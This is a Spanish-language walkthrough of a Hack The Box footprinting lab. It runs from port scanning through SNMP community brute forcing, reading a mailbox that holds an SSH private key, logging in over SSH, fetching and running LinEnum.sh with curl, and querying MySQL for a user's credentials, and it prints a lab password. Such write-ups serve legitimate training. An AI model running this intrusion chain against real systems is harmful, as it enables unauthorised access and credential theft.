Laboratorio de Footprinting - Díficil
Enunciado
Este es un servidor MX y de administración para la red interna. Este servidor también funciona como servidor de respaldo para las cuentas internas del dominio.
Por lo tanto, también se creó aquí un usuario llamado HTB
, y necesitamos sus credenciales.
Enumeración
Vamos con lo básico a ver qué servicios están corriendo sobre el servidor.
nmap -p- -sS --min-rate 2000 -n -Pn <IP>
Ahora vamos a ver con un poco más de detalle que hay corriendo en cada puerto que nos salió a ver si vemos algo interesante.
nmap -22,110,143,993,995 -sCV -n -Pn <IP>
Luego de realizar scripts en TCP
para recopilar más información sobre los servicios y veo que no pude avanzar mucho mas dado que tanto en pop como imap para poder listar correos necesito alguna credencial y por ssh no tengo claves tampoco, escaneamos por UDP
para ver si encontramos algo.
nmap -sU --top-port 100 10.129.5.201
Y vemos que tenemos 2 servicios más. Vamos a enumerarlos más en detalle:
nmap -sUCV -p68,161 10.129.5.201
Vemos que en puerto 161 está usando snmp de versión 3. Recordemos que SNMP - Es un protocolo usado para supervisar y gestionar dispositivos de red. Con la herramienta onesixtyone vemos si podemos obtener información
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt <IP>
Y obtenemos la cadena de comunidad backup que podemos usar con
snmpwalk
para obtener más información.
snmpwalk -v 2c -c backup <IP>
Y vemos a continuación como unos intentos de cambiar la contraseña del usuario tom
Vale a priori al menos tenemos un usuario, vamos a intentar acceder a imap o pop.
openssl s_client -connect <IP>:993 -crlf -quiet
y efectivamente vemos que nos podemos acceder.
Listamos los buzones del correo del usuario y vemos varios.
a LIST "" *
Al ir entrando en cada uno vemos que en INBOX
tenemos un correo. a SELECT INBOX
Abrimos el correo a fetch 1 body[]
y vemos que es un correo del admin para tom donde le está pasando su clave ssh privada, la cual podemos copiar y usar para poder acceder al sistema como dicho usuario.
Ahora básicamente copiamos la clave en un archivo que creamos en local con nombre id_rsa
lo pegamos y le otorgamos permisos 600
chmod 600 id_rsa
Ahora vamos a utilizar la clave para acceder:
ssh -i id_rsa tom@<IP>
Vale ya dentro vamos a proceder a pasar un script de reconocimiento de Linux donde nos va a mostrar información del equipo y con ella intentar escalar privilegios.
Primero nos descargamos el script LinEnum.sh a local con el comando
wget https://raw.githubusercontent.com/rebootuser/LinEnum/refs/heads/master/LinEnum.sh
Luego en la carpeta donde nos descargamos el script montamos un servidor web para transferirlo a la máquina víctima.
python3 -m http.server 8000
Ahora en la máquina víctima hacemos un curl al servidor web de la siguiente forma:
curl http://<IP>:8000/LinEnum.sh -o script.sh
Recordar la IP es la de la interfaz de Hack the Box.
Luego en la máquina víctima le damos permisos de ejecución al script
chmod +x script.sh
Y lo ejecutamos
./script.sh
Mostrando lo siguiente:
Y vemos esto que tenemos con el usuario tom cierto privilegio con el servicio mysql.
Vemos si está corriendo el servicio y sí está corriendo.
Vemos donde está ubicado para llamarlo y ejecutarlo:
Ejecutamos el comando:
#/usr/bin/mysql Este da error porque debemos especificar la contraseña.
/usr/bin/mysql -p #Ponemos a continuación el password del usuario tom 'NMds732Js2761'
Y podemos acceder a mysql
show databases;
Seleccionamos la base de datos users:
use users;
Vemos su contendido y nos damos cuenta que hay muchos usuarios en dicha tabla:
select * from users;
Y con la siguiente query encontramos el usuario deseado
select * from users where username = 'HTB';
Si te sirvió de algo este tutorial ya para mi es más que suficiente, si me puedes decir en que podemos mejorar te lo voy a agradecer un montón.
Escríbeme por cualquiera de las vías